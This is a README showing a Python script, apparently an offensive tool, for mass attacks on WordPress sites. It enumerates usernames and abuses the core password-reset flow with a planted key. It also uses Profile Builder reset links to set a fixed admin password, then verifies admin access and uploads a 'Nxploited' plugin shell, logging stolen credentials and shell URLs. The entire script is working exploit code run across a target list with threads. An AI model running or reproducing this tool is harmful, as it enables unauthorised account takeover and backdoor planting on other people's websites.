README.md
Rendering markdown...
#!/usr/bin/env python3
#By: Nxploited
# -*- coding: utf-8 -*-
import os
import re
import sys
import time
import random
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import Optional, List, Set, Tuple
from urllib.parse import urlparse, urlparse as parse_url, parse_qs
import requests
import urllib3
from rich.console import Console
from rich.panel import Panel
from rich.theme import Theme
from colorama import init as colorama_init # type: ignore
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
colorama_init(autoreset=True)
# ------------------------ Rich console ------------------------
theme = Theme(
{
"info": "cyan",
"ok": "bold green",
"warn": "bold yellow",
"err": "bold red",
"host": "bold magenta",
"label": "bold white",
"dim": "dim",
}
)
console = Console(theme=theme)
# ------------------------ Banner -------------------------
BANNER_ASCII = r"""
____ _ _____ ____ ____ ____ ____ _ ____ ____ _____ ____
/ _\/ \ |\/ __/ /_ \/ _ \/_ \/ ___\ / \/ ___\/ _ \\__ \/ _ \
| / | | //| \ _____ / /| / \| / /| \_____ | || \| / \| / || / \|
| \__| \// | /_\____\/ /_| \_/|/ /_\___ |\____\| |\___ || \_/| _\ || \_/|
\____/\__/ \____\ \____/\____/\____/\____/ \_/\____/\____//____/\____/
"""
def print_banner() -> None:
os.system("cls" if os.name == "nt" else "clear")
banner_panel = Panel.fit(
BANNER_ASCII.strip("\n"),
title="[ok]WP Reset & Strict Access Assistant[/ok]",
subtitle="High-signal • Silent • Precise",
border_style="magenta",
padding=(1, 2),
)
console.print(banner_panel)
console.print(
Panel(
"[label]By: [bold]Nxploited[/bold] | GitHub: "
"[link=https://github.com/Nxploited]github.com/Nxploited[/link] | "
"Telegram: [bold blue]@KNxploited[/bold blue][/label]",
border_style="cyan",
)
)
console.print()
def format_site_status(
base: str,
key_status_core: str,
reset_status_core: str,
access_core: str,
key_status_pb: str,
reset_status_pb: str,
access_pb: str,
shell_status: str,
) -> None:
login_url = base.rstrip("/") + "/wp-login.php"
line = (
f"[host]{base}[/host] "
f"[label]CORE:[/label] KEY={key_status_core:<4}, RESET={reset_status_core:<4}, ACCESS={access_core:<3} | "
f"[label]PB:[/label] KEY={key_status_pb:<4}, RESET={reset_status_pb:<4}, ACCESS={access_pb:<3} | "
f"[label]SHELL:[/label] {shell_status:<8} | "
f"[label]LOGIN:[/label] {login_url}"
)
if shell_status == "OK":
style = "ok"
elif access_core != "0" or access_pb != "0":
style = "ok"
elif key_status_core == "FAIL" and key_status_pb == "FAIL":
style = "err"
else:
style = "warn"
console.print(line, style=style)
def log_note(msg: str) -> None:
console.print(f"[*] {msg}", style="info")
def log_warn(msg: str) -> None:
console.print(f"[!] {msg}", style="warn")
def log_err(msg: str) -> None:
console.print(f"[x] {msg}", style="err")
def log_done(msg: str) -> None:
console.print(f"[+] {msg}", style="ok")
# --------------------------------------------------------
# Helpers: URLs / Sessions / User-Agent
# --------------------------------------------------------
USER_AGENTS = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0',
]
def get_random_user_agent() -> str:
return random.choice(USER_AGENTS)
def split_wp_base(url: str) -> Tuple[str, str]:
url = url.strip()
if not url.startswith(("http://", "https://")):
url = "https://" + url
parsed = urlparse(url)
base_host = f"{parsed.scheme}://{parsed.netloc}"
path = parsed.path or "/"
if path == "/":
return base_host, ""
return base_host, path.rstrip("/")
def build_wp_url(base_host: str, wp_base: str, path: str) -> str:
if not path.startswith("/"):
path = "/" + path
full = (wp_base + path).replace("//", "/")
return base_host + full
def build_session(timeout: int) -> requests.Session:
s = requests.Session()
s.verify = False
s.headers.update({
"User-Agent": get_random_user_agent(),
"Accept": (
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/avif,image/webp,image/apng,*/*;q=0.8"
),
"Accept-Language": "en-US,en;q=0.9",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
})
adapter = requests.adapters.HTTPAdapter(pool_connections=50, pool_maxsize=50, max_retries=1)
s.mount("http://", adapter)
s.mount("https://", adapter)
return s
def get_wp_base_path(login_path: str) -> str:
if login_path == "/wp-login.php":
return ""
return login_path.replace("/wp-login.php", "")
# --------------------------------------------------------
# Username enumeration (كما في نسختك السابقة)
# --------------------------------------------------------
AUTHOR_PATTERN = re.compile(r"/author/([^/]+)")
AUTHOR_BODY_PATTERNS = [
re.compile(r'author-\w+">([a-z0-9_\-]+)<', re.I),
re.compile(r"/author/([a-z0-9_\-]+)/", re.I),
re.compile(r'"slug":"([a-z0-9_\-]+)"', re.I),
re.compile(r'"username":"([a-z0-9_\-]+)"', re.I),
]
def enum_by_author(sess: requests.Session, root_url: str, timeout: int, max_i: int = 10) -> Set[str]:
users: Set[str] = set()
for i in range(1, max_i + 1):
try:
u = f"{root_url}/?author={i}"
r = sess.get(u, timeout=timeout, allow_redirects=False)
if r.status_code in (301, 302):
loc = r.headers.get("location", "") or r.headers.get("Location", "")
m = AUTHOR_PATTERN.search(loc)
if m:
users.add(m.group(1))
r2 = sess.get(u, timeout=timeout, allow_redirects=True)
if r2.status_code == 200 and r2.text:
body = r2.text
for patt in AUTHOR_BODY_PATTERNS:
for x in patt.findall(body):
users.add(x)
except Exception:
continue
return users
def enum_by_rest(sess: requests.Session, root_url: str, timeout: int) -> Set[str]:
users: Set[str] = set()
api = root_url.rstrip("/") + "/wp-json/wp/v2/users"
try:
r = sess.get(api, timeout=timeout)
except Exception:
return users
if r.status_code != 200:
return users
try:
data = r.json()
except Exception:
return users
if isinstance(data, list):
for entry in data:
if isinstance(entry, dict):
for key in ("slug", "username", "name"):
v = entry.get(key)
if v:
users.add(str(v))
return users
def collect_candidates(base_host: str, wp_base: str, timeout: int) -> List[str]:
sess = build_session(timeout)
root = build_wp_url(base_host, wp_base, "/")
users: Set[str] = set()
users.update(enum_by_author(sess, root, timeout, max_i=10))
users.update(enum_by_rest(sess, root, timeout))
parsed = urlparse(root)
host = parsed.netloc.split(":")[0].lower()
if host.startswith("www."):
host = host[4:]
first_label = host.split(".")[0]
if first_label and len(first_label) > 2:
users.add(first_label)
users.add("admin")
users = {u for u in users if u and 2 < len(u) < 50}
if not users:
users = {"admin"}
return sorted(users)
# --------------------------------------------------------
# Strict admin access verification + login
# --------------------------------------------------------
def check_admin_access(sess: requests.Session, root_url: str, timeout: int) -> bool:
admin_paths = [
"/wp-admin/index.php",
"/wp-admin/profile.php",
"/wp-admin/edit.php",
"/wp-admin/plugins.php",
"/wp-admin/users.php",
]
markers = [
'id="adminmenu"', 'id="wpadminbar"', '<div id="wpwrap">',
'class="wp-admin', 'id="wpcontent"', 'id="wpbody-content"',
"users.php", "plugins.php", "edit.php",
]
deny = [
"sorry, you are not allowed to access this page",
"you do not have sufficient permissions",
"insufficient permissions",
]
ok_pages = 0
for ep in admin_paths:
u = root_url.rstrip("/") + ep
try:
r = sess.get(u, timeout=timeout, allow_redirects=True)
except Exception:
continue
if r.status_code != 200:
continue
if "wp-login.php" in (r.url or ""):
return False
content = r.text or ""
low = content.lower()
if any(d in low for d in deny):
return False
found = sum(1 for m in markers if m in content)
if found >= 3:
ok_pages += 1
if ok_pages >= 2:
return True
try:
r2 = sess.get(root_url.rstrip("/") + "/wp-admin/plugin-install.php",
timeout=timeout, allow_redirects=True)
if r2.status_code == 200:
low2 = (r2.text or "").lower()
if any(d in low2 for d in deny):
return False
if "upload-plugin" in low2 or "plugin-install-tab" in low2:
return True
except Exception:
pass
return ok_pages >= 1
def strict_login_attempt(
sess: requests.Session,
base_host: str,
wp_base: str,
login_path: str,
username: str,
password: str,
timeout: int,
) -> bool:
root_site = build_wp_url(base_host, wp_base, "/")
login_url = build_wp_url(base_host, wp_base, login_path)
try:
sess.get(login_url, timeout=timeout, allow_redirects=True)
except Exception:
pass
data = {
"log": username.strip(),
"pwd": password,
"wp-submit": "Log In",
"testcookie": "1",
}
headers = {
"User-Agent": sess.headers.get("User-Agent", ""),
"Content-Type": "application/x-www-form-urlencoded",
"Referer": login_url,
}
try:
r = sess.post(
login_url,
data=data,
headers=headers,
timeout=timeout,
allow_redirects=True,
)
except Exception:
return False
content = (r.text or "").lower()
fails = [
"incorrect username or password",
"invalid username",
"invalid password",
"error: the username",
"is not registered",
"authentication failed",
"login failed",
"unknown username",
]
if any(x in content for x in fails):
return False
has_cookie = any(c.name.startswith("wordpress_logged_in") for c in sess.cookies)
if not has_cookie:
return False
if not check_admin_access(sess, root_site, timeout):
return False
return True
def find_wp_login_path(sess: requests.Session, base_host: str, wp_base: str, timeout: int) -> str:
paths = [
"/wp-login.php",
"/wordpress/wp-login.php",
"/wp/wp-login.php",
"/blog/wp-login.php",
"/cms/wp-login.php",
"/wp/login.php",
]
for p in paths:
url = build_wp_url(base_host, wp_base, p)
try:
r = sess.get(url, timeout=timeout, allow_redirects=True)
except Exception:
continue
txt = r.text or ""
if r.status_code == 200 and "<form" in txt and "password" in txt.lower():
return p
return "/wp-login.php"
# --------------------------------------------------------
# Nxploited.zip upload + Nx.php verification (من Big.py)
# --------------------------------------------------------
def load_nxploited_zip() -> Optional[bytes]:
try:
script_dir = os.path.dirname(os.path.abspath(__file__))
zip_path = os.path.join(script_dir, "Nxploited.zip")
if not os.path.exists(zip_path):
log_warn("Nxploited.zip not found in script directory, skipping shell upload.")
return None
with open(zip_path, "rb") as f:
return f.read()
except Exception as e:
log_err(f"Error loading Nxploited.zip: {e}")
return None
def build_shell_url(base_url: str, wp_base_path: str) -> str:
base = base_url.rstrip("/")
path = wp_base_path.rstrip("/") if wp_base_path else ""
if path:
return f"{base}{path}/wp-content/plugins/Nxploited/Nx.php"
return f"{base}/wp-content/plugins/Nxploited/Nx.php"
def write_shell_path(shells_output: str, url: str, username: str, password: str, shell_url: str):
ts = time.strftime("%Y-%m-%d %H:%M:%S")
with open(shells_output, "a", encoding="utf-8") as f:
f.write(f"[{ts}] {url} - {username}:{password} - SHELL: {shell_url}\n")
def upload_nxploited_plugin_sync(
session: requests.Session,
base_url: str,
login_path: str,
username: str,
password: str,
timeout: int,
shells_output: str,
) -> bool:
"""
بعد تحقق تسجيل الدخول كأدمن:
- يحاول رفع Nxploited.zip كبلوجن.
- أو إنشاء Nxploited/Nx.php عبر المحرر.
- يتحقق من أن Nx.php يعمل، ثم يسجّل في shells.txt.
"""
plugin_zip_data = load_nxploited_zip()
if not plugin_zip_data:
return False
wp_base_path = get_wp_base_path(login_path)
login_url = f"{base_url}{login_path}"
try:
# تأكد من الجلسة
headers = {'User-Agent': get_random_user_agent()}
session.get(login_url, timeout=timeout, verify=False, headers=headers)
login_data = {
'log': username.strip(),
'pwd': password,
'wp-submit': 'Log In',
'testcookie': '1'
}
headers = {
'User-Agent': get_random_user_agent(),
'Cookie': 'wordpress_test_cookie=WP Cookie check',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': login_url
}
session.post(
login_url,
data=login_data,
headers=headers,
timeout=timeout,
verify=False,
allow_redirects=True,
)
# طريقة 1: رفع من plugin-install
upload_url = f"{base_url}{wp_base_path}/wp-admin/plugin-install.php?tab=upload"
try:
upload_page = session.get(upload_url, timeout=timeout, verify=False, headers={'User-Agent': get_random_user_agent()})
if upload_page.status_code == 200:
nonce_match = re.search(r'name="_wpnonce"\s+value="([^"]+)"', upload_page.text)
if nonce_match:
nonce = nonce_match.group(1)
files = {
'pluginzip': ('Nxploited.zip', plugin_zip_data, 'application/zip')
}
form_data = {
'_wpnonce': nonce,
'_wp_http_referer': f'{wp_base_path}/wp-admin/plugin-install.php?tab=upload',
'install-plugin-submit': 'Install Now'
}
upload_endpoint = f"{base_url}{wp_base_path}/wp-admin/update.php?action=upload-plugin"
upload_response = session.post(
upload_endpoint,
data=form_data,
files=files,
timeout=timeout,
verify=False,
allow_redirects=True,
)
if upload_response.status_code == 200 and ('Plugin installed successfully' in upload_response.text or 'successfully' in upload_response.text.lower()):
shell_url = build_shell_url(base_url, wp_base_path)
test_r = session.get(shell_url, timeout=timeout, verify=False, headers={'User-Agent': get_random_user_agent()})
if test_r.status_code == 200:
log_done(f"SHELL DEPLOYED (Upload): {shell_url}")
write_shell_path(shells_output, base_url, username, password, shell_url)
return True
except Exception:
pass
# طريقة 2: REST API upload (إن وجدت)
try:
rest_upload_url = f"{base_url}{wp_base_path}/wp-json/wp/v2/plugins"
headers_rest = {
'User-Agent': get_random_user_agent(),
'Content-Type': 'application/zip',
'Content-Disposition': 'attachment; filename=\"Nxploited.zip\"'
}
rest_resp = session.post(
rest_upload_url,
data=plugin_zip_data,
headers=headers_rest,
timeout=timeout,
verify=False,
)
if rest_resp.status_code in (200, 201):
shell_url = build_shell_url(base_url, wp_base_path)
test_r = session.get(shell_url, timeout=timeout, verify=False, headers={'User-Agent': get_random_user_agent()})
if test_r.status_code == 200:
log_done(f"SHELL DEPLOYED (REST): {shell_url}")
write_shell_path(shells_output, base_url, username, password, shell_url)
return True
except Exception:
pass
# طريقة 3: plugin/theme editor لكتابة Nxploited/Nx.php
shell_php_code = """<?php
if (!defined('ABSPATH')) exit;
echo "Nxploited";
?>"""
file_manager_urls = [
f"{base_url}{wp_base_path}/wp-admin/plugin-editor.php",
f"{base_url}{wp_base_path}/wp-admin/theme-editor.php"
]
for fm_url in file_manager_urls:
try:
fm_resp = session.get(fm_url, timeout=timeout, verify=False, headers={'User-Agent': get_random_user_agent()})
if fm_resp.status_code == 200 and 'wp-login.php' not in fm_resp.url:
fm_text = fm_resp.text
nonce_match = re.search(r'name="_wpnonce"\s+value="([^"]+)"', fm_text)
if nonce_match:
nonce = nonce_match.group(1)
create_data = {
'_wpnonce': nonce,
'action': 'edit-theme-plugin-file',
'file': '../plugins/Nxploited/Nx.php',
'newcontent': shell_php_code,
'docs-list': '',
'submit': 'Update File'
}
c_resp = session.post(
fm_url,
data=create_data,
timeout=timeout,
verify=False,
allow_redirects=True,
)
if c_resp.status_code == 200:
shell_url = build_shell_url(base_url, wp_base_path)
test_r = session.get(shell_url, timeout=timeout, verify=False, headers={'User-Agent': get_random_user_agent()})
if test_r.status_code == 200:
log_done(f"SHELL DEPLOYED (Editor): {shell_url}")
write_shell_path(shells_output, base_url, username, password, shell_url)
return True
except Exception:
continue
except Exception as e:
log_err(f"Error in Nxploited upload: {e}")
return False
# --------------------------------------------------------
# CORE: brute_with_single_password + reset flow
# --------------------------------------------------------
def brute_with_single_password(
base_host: str,
wp_base: str,
usernames: List[str],
password: str,
timeout: int,
output_file: str,
shells_output: str,
) -> Tuple[int, bool]:
hits = 0
shell_ok = False
sess0 = build_session(timeout)
login_path = find_wp_login_path(sess0, base_host, wp_base, timeout)
site_url = f"{base_host}{wp_base or ''}"
login_url = site_url.rstrip("/") + "/wp-login.php"
for username in usernames:
sess_user = build_session(timeout)
if strict_login_attempt(sess_user, base_host, wp_base, login_path, username, password, timeout):
ts = time.strftime("%Y-%m-%dT%H:%M:%S")
line = (
f"[{ts}] {site_url} | {login_url} | "
f"account={username} pass={password}\n"
)
os.makedirs(os.path.dirname(output_file), exist_ok=True)
with open(output_file, "a", encoding="utf-8") as f:
f.write(line)
hits += 1
# هنا استغلال دخول أدمن → ارفع Nxploited.zip
if not shell_ok:
ok = upload_nxploited_plugin_sync(
sess_user,
base_host,
login_path,
username,
password,
timeout,
shells_output,
)
if ok:
shell_ok = True
return hits, shell_ok
def trigger_wp_reset_flow_core(
sess: requests.Session,
base_host: str,
wp_base: str,
username: str,
new_password: str,
timeout: int,
) -> bool:
root = build_wp_url(base_host, wp_base, "/")
lost_url = root.rstrip("/") + "/wp-login.php?action=lostpassword"
malicious_key = "hackedresetkey"
data1 = {
"user_login": username,
"user_pass": malicious_key,
"wp-submit": "Get New Password",
}
try:
r1 = sess.post(
lost_url,
data=data1,
timeout=timeout,
allow_redirects=True,
verify=False,
)
except Exception:
return False
if r1.status_code not in (200, 302):
return False
rp_url = root.rstrip("/") + f"/wp-login.php?action=rp&key={malicious_key}&login={username}"
try:
r2 = sess.get(rp_url, timeout=timeout, allow_redirects=True, verify=False)
except Exception:
return False
if r2.status_code not in (200, 302):
return False
reset_url = root.rstrip("/") + "/wp-login.php?action=resetpass"
data3 = {
"pass1": new_password,
"pass2": new_password,
"pw_weak": "on",
"rp_key": malicious_key,
"wp-submit": "Save Password",
}
try:
r3 = sess.post(
reset_url,
data=data3,
timeout=timeout,
allow_redirects=True,
verify=False,
)
except Exception:
return False
if r3.status_code != 200:
return False
return True
# --------------------------------------------------------
# Profile Builder reset-from-link + strict login + upload
# --------------------------------------------------------
def parse_pb_reset_link(url: str) -> Optional[Tuple[str, str, str]]:
try:
parsed = parse_url(url)
qs = parse_qs(parsed.query)
key = qs.get("key", [None])[0]
login = qs.get("login", [None])[0]
base_url = f"{parsed.scheme}://{parsed.netloc}"
if not key or not login:
return None
return base_url, key, login
except Exception:
return None
def fetch_pb_recover_form2(
sess: requests.Session,
reset_url: str,
timeout: int,
) -> Optional[str]:
try:
r = sess.get(reset_url, timeout=timeout, allow_redirects=True, verify=False)
except Exception:
return None
if r.status_code != 200:
return None
return r.text or ""
def extract_pb_nonce_and_user(
body: str,
) -> Tuple[Optional[str], Optional[str]]:
nonce = None
user_data = None
m = re.search(
r'name="password_recovery_nonce_field2"\s+value="([^"]+)"',
body,
re.I,
)
if m:
nonce = m.group(1)
m2 = re.search(
r'name="userData"\s+value="([^"]+)"',
body,
re.I,
)
if m2:
user_data = m2.group(1)
return nonce, user_data
def trigger_pb_reset_from_link(
sess: requests.Session,
reset_url: str,
new_password: str,
timeout: int,
) -> Tuple[bool, Optional[str]]:
body = fetch_pb_recover_form2(sess, reset_url, timeout)
if not body:
return False, None
nonce2, user_data = extract_pb_nonce_and_user(body)
if not nonce2 or not user_data:
return False, None
parsed = parse_url(reset_url)
qs = parse_qs(parsed.query)
key = qs.get("key", [None])[0]
login = qs.get("login", [None])[0]
if not key or not login:
return False, None
post_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}"
data = {
"action2": "recover_password2",
"password_recovery_nonce_field2": nonce2,
"userData": user_data,
"key": key,
"login": login,
"passw1": new_password,
"passw2": new_password,
}
try:
r = sess.post(
post_url,
data=data,
timeout=timeout,
allow_redirects=True,
verify=False,
)
except Exception:
return False, None
low = (r.text or "").lower()
if "your password has been successfully changed" in low:
return True, login
if "invalid key" in low:
return False, login
return False, login
def strict_login_single(
base_url: str,
wp_base: str,
username: str,
password: str,
timeout: int,
) -> Tuple[bool, requests.Session, str]:
sess0 = build_session(timeout)
login_path = find_wp_login_path(sess0, base_url, wp_base, timeout)
sess_user = build_session(timeout)
ok = strict_login_attempt(sess_user, base_url, wp_base, login_path, username, password, timeout)
return ok, sess_user, login_path
def load_pb_links_file(pb_links_file: str) -> List[str]:
links: List[str] = []
if not os.path.exists(pb_links_file):
return links
with open(pb_links_file, "r", encoding="utf-8", errors="ignore") as f:
for line in f:
line = line.strip()
if line:
links.append(line)
return links
def process_pb_links_for_site(
base_host: str,
wp_base: str,
pb_links: List[str],
new_pass: str,
timeout: int,
shells_output: str,
) -> Tuple[str, str, str, bool]:
key_pb = "----"
reset_pb = "----"
access_pb = "0"
shell_ok = False
hits = 0
host = urlparse(base_host).netloc
site_links = [u for u in pb_links if urlparse(u).netloc == host]
if not site_links:
return key_pb, reset_pb, access_pb, shell_ok
for reset_url in site_links:
sess = build_session(timeout)
ok_reset, login_user = trigger_pb_reset_from_link(
sess, reset_url, new_pass, timeout
)
if not ok_reset or not login_user:
continue
ok_login, sess_user, login_path = strict_login_single(
base_host, wp_base, login_user, new_pass, timeout
)
if ok_login:
hits += 1
if not shell_ok:
ok_shell = upload_nxploited_plugin_sync(
sess_user,
base_host,
login_path,
login_user,
new_pass,
timeout,
shells_output,
)
if ok_shell:
shell_ok = True
if hits > 0:
key_pb = "OK"
reset_pb = "OK"
access_pb = str(hits)
else:
key_pb = "FAIL"
reset_pb = "FAIL"
access_pb = "0"
return key_pb, reset_pb, access_pb, shell_ok
# --------------------------------------------------------
# Orchestration per target
# --------------------------------------------------------
def process_target(
site: str,
new_pass: str,
timeout: int,
output_core: str,
pb_links: List[str],
shells_output: str,
) -> None:
base_host, wp_base = split_wp_base(site)
label = f"{base_host}{wp_base or ''}"
key_core = "----"
reset_core = "----"
access_core = "0"
key_pb = "----"
reset_pb = "----"
access_pb = "0"
shell_ok_core = False
shell_ok_pb = False
sess = build_session(timeout)
# CORE
reset_user_core = "admin"
ok_flow_core = trigger_wp_reset_flow_core(
sess, base_host, wp_base, reset_user_core, new_pass, timeout
)
if ok_flow_core:
key_core = "OK"
reset_core = "OK"
users = collect_candidates(base_host, wp_base, timeout)
hits_core, shell_ok_core = brute_with_single_password(
base_host,
wp_base,
users,
new_pass,
timeout,
output_core,
shells_output,
)
access_core = str(hits_core)
else:
key_core = "FAIL"
reset_core = "FAIL"
access_core = "0"
# PB
if pb_links:
key_pb, reset_pb, access_pb, shell_ok_pb = process_pb_links_for_site(
base_host,
wp_base,
pb_links,
new_pass,
timeout,
shells_output,
)
shell_status = "OK" if (shell_ok_core or shell_ok_pb) else "--"
format_site_status(
label,
key_core,
reset_core,
access_core,
key_pb,
reset_pb,
access_pb,
shell_status,
)
# --------------------------------------------------------
# Interactive runner
# --------------------------------------------------------
def ask(prompt: str, default: Optional[str] = None) -> str:
if default is not None:
s = input(f"{prompt} [{default}]: ").strip()
return s if s else default
return input(f"{prompt}: ").strip()
def ask_int(prompt: str, default: int) -> int:
s = ask(prompt, str(default))
try:
return int(s)
except Exception:
return default
def run_interactive() -> None:
print_banner()
url_list_file = ask("Targets list file (one URL per line)")
if not os.path.exists(url_list_file):
log_err(f"Targets file not found: {url_list_file}")
sys.exit(1)
threads = ask_int("Threads (concurrent sites)", 5)
new_pass = "Nxploited_adminSA"
log_note(f"Using reset/login password: {new_pass}")
timeout = ask_int("HTTP timeout (seconds)", 10)
output_core = ask(
"Output file for core wp-login reset successes",
"scan_results/wp_login_reset_success.txt",
)
shells_output = ask(
"Output file for Nxploited shells",
"scan_results/shells.txt",
)
pb_links_file = ask(
"Profile Builder reset links file (optional, one URL per line)",
"pb_reset_links.txt",
).strip()
pb_links: List[str] = []
if os.path.exists(pb_links_file):
pb_links = load_pb_links_file(pb_links_file)
log_note(f"Loaded {len(pb_links)} PB reset links from {pb_links_file}")
else:
log_warn(f"PB reset links file not found: {pb_links_file} (PB exploit will be limited)")
targets: List[str] = []
with open(url_list_file, "r", encoding="utf-8", errors="ignore") as f:
for line in f:
line = line.strip()
if line:
targets.append(line)
if not targets:
log_err("Targets file is empty.")
sys.exit(1)
log_note(f"Loaded {len(targets)} targets.")
log_note("Exploitation: core wp-login reset + optional Profile Builder reset-from-link, both with strict admin login & Nxploited shell upload.")
console.print()
os.makedirs(os.path.dirname(output_core), exist_ok=True)
os.makedirs(os.path.dirname(shells_output), exist_ok=True)
start = time.time()
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = {
executor.submit(
process_target,
site,
new_pass,
timeout,
output_core,
pb_links,
shells_output,
): site
for site in targets
}
try:
for future in as_completed(futures):
_ = futures[future]
except KeyboardInterrupt:
log_warn("Interrupted by user, shutting down threads...")
executor.shutdown(wait=False, cancel_futures=True)
sys.exit(1)
elapsed = time.time() - start
console.print()
log_done(f"Finished in {elapsed:.2f}s")
log_done(f"Core wp-login results written to: {output_core}")
log_done(f"Shell paths written to: {shells_output}")
if __name__ == "__main__":
run_interactive()